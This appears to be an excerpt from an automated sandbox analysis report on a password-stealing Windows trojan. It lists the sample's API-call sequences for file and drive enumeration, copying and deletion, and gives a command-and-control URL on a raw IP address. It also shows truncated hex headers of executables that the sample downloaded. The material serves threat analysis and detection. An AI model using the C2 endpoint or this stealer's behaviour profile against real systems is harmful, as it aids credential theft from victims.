Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00404720 LocalAlloc,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,	0_2_00404720

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Code function: 0_2_0040714A LocalAlloc,LocalAlloc,lstrlenW,LocalAlloc,GetLogicalDriveStringsW,GetDriveTypeW,LocalAlloc,wsprintfW,lstrlenW,lstrlenW,LocalAlloc,StrCpyW,StrStrW,StrStrW,lstrlenW,StrCpyW,StrCpyW,LocalFree,LocalFree,LocalFree,StrStrW,GetEnvironmentVariableW,LocalFree,LocalFree,StrCpyW,LocalFree,LocalFree,

0_2_0040714A

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://193.142.147.59:80

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 13 Aug 2024 08:21:11 GMTContent-Type: application/octet-streamContent-Length: 2042296Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 19:39:48 GMTETag: "62548404-1f29b8"Expires: Tue, 13 Aug 2024 08:51:11 GMTCache-Control: max-age=1800Cache-Control: publicAccept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f6 f1 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 e0 19 00 00 26 05 00 00 00 00 00 d0 01 15 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 60 1f 00 00 04 00 00 fd d1 1f 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f8 21 1d 00 5c 9d 00 00 54 bf 1d 00 40 01 00 00 00 40 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 b8 1f 00 00 00 50 1e 00 68 0a 01 00 68 fd 1c 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 f0 c4 1d 00 5c 04 00 00 94 21 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 69 de 19 00 00 10 00 00 00 e0 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e4 e9 03 00 00 f0 19 00 00 ea 03 00 00 e4 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 14 4e 00 00 00 e0 1d 00 00 2a 00 00 00 ce 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 30 1e 00 00 02 00 00 00 f8 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 40 1e 00 00 04 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 0a 01 00 00 50 1e 00 00 0c 01 00 00 fe 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 13 Aug 2024 08:21:13 GMTContent-Type: application/octet-streamContent-Length: 449280Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 19:39:42 GMTETag: "625483fe-6db00"Expires: Tue, 13 Aug 2024 08:51:13 GMTCache-Control: max-age=1800Cache-Control: publicAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9b 28 c1 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 1f 84 07 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 00 3f 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 13 Aug 2024 08:21:14 GMTContent-Type: application/octet-streamContent-Length: 80128Connection: keep-aliveLast-Modified: Sat, 28 May 2022 21:52:46 GMTETag: "629299ae-13900"Expires: Tue, 13 Aug 2024 08:51:14 GMTCache-Control: max-age=1800Cache-Control: publicAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 95 28 c1 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 74 28 02 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 00 3f 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 13 Aug 2024 08:21:14 GMTContent-Type: application/octet-streamContent-Length: 627128Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 19:39:36 GMTETag: "625483f8-991b8"Expires: Tue, 13 Aug 2024 08:51:14 GMTCache-Control: max-age=1800Cache-Control: publicAccept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d4 f1 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 18 08 00 00 56 01 00 00 00 00 00 b0 2f 04 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 09 00 00 04 00 00 ed ee 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 ad bc 08 00 63 51 00 00 10 0e 09 00 2c 01 00 00 00 70 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 72 09 00 b8 1f 00 00 00 80 09 00 34 43 00 00 1c b0 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 57 08 00 18 00 00 00 68 30 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 13 09 00 d8 03 00 00 90 b7 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d1 16 08 00 00 10 00 00 00 18 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9c ff 00 00 00 30 08 00 00 00 01 00 00 1c 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b8 1c 00 00 00 30 09 00 00 04 00 00 00 1c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 50 09 00 00 02 00 00 00 20 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 60 09 00 00 02 00 00 00 22 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 70 09 00 00 0a 00 00 00 24 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 43 00 00 00 80 09 00 00 44 00 00 00 2e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 13 Aug 2024 08:21:15 GMTContent-Type: application/octet-streamContent-Length: 684984Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 19:40:08 GMTETag: "62548418-a73b8"Expires: Tue, 13 Aug 2024 08:51:15 GMTCache-Control: max-age=1800Cache-Control: publicAccept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 26 f2 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 1a 08 00 00 36 02 00 00 00 00 00 b0 1f 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 e0 0a 00 00 04 00 00 e9 81 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 34 2c 0a 00 53 00 00 00 87 2c 0a 00 c8 00 00 00 00 a0 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 54 0a 00 b8 1f 00 00 00 b0 0a 00 38 24 00 00 84 26 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 30 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 94 2e 0a 00 44 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d5 19 08 00 00 10 00 00 00 1a 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 30 08 00 00 08 02 00 00 1e 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 40 0a 00 00 02 00 00 00 26 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 90 0a 00 00 02 00 00 00 28 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 a0 0a 00 00 04 00 00 00 2a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 38 24 00 00 00 b0 0a 00 00 26 00 00 00 2e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 13 Aug 2024 08:21:15 GMTContent-Type: application/octet-streamContent-Length: 254392Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 19:39:58 GMTETag: "6254840e-3e1b8"Expires: Tue, 13 Aug 2024 08:51:15 GMTCache-Control: max-age=1800Cache-Control: publicAccept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 27 f2 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f2 00 00 00 00 00 00 80 ce 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 a1 de 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 74 76 03 00 53 01 00 00 c7 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c2 03 00 b8 1f 00 00 00 c0 03 00 98 35 00 00 68 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 44 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 56 ca 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 04 ac 00 00 00 e0 02 00 00 ae 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 98 35 00 00 00 c0 03 00 00 36 00 00 00 8c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 13 Aug 2024 08:21:16 GMTContent-Type: application/octet-streamContent-Length: 1099223Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 17:28:56 GMTETag: "62546558-10c5d7"Expires: Tue, 13 Aug 2024 08:51:16 GMTCache-Control: max-age=1800Cache-Control: publicAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 22 a9 2c 62 00 76 0e 00 b2 13 00 00 e0 00 06 21 0b 01 02 19 00 0c 0b 00 00 fa 0c 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 20 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 10 0f 00 00 06 00 00 c8 9d 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 0c 00 6e 2a 00 00 00 e0 0c 00 d0 0c 00 00 00 10 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 0d 00 e0 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c e2 0c 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ac 0a 0b 00 00 10 00 00 00 0c 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 20 0b 00 00 28 00 00 00 12 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 10 44 01 00 00 50 0b 00 00 46 01 00 00 3a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 a0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 6e 2a 00 00 00 b0 0c 00 00 2c 00 00 00 80 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 e0 0c 00 00 0e 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 f0 0c 00 00 02 00 00 00 ba 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 00 0d 00 00 02 00 00 00 bc 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 10 0d 00 00 06 00 00 00 be 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 e0 3b 00 00 00 20 0d 00 00 3c 00 00 00 c4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 60 0d 00 00 06 00 00 00 00 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 70 0d 00 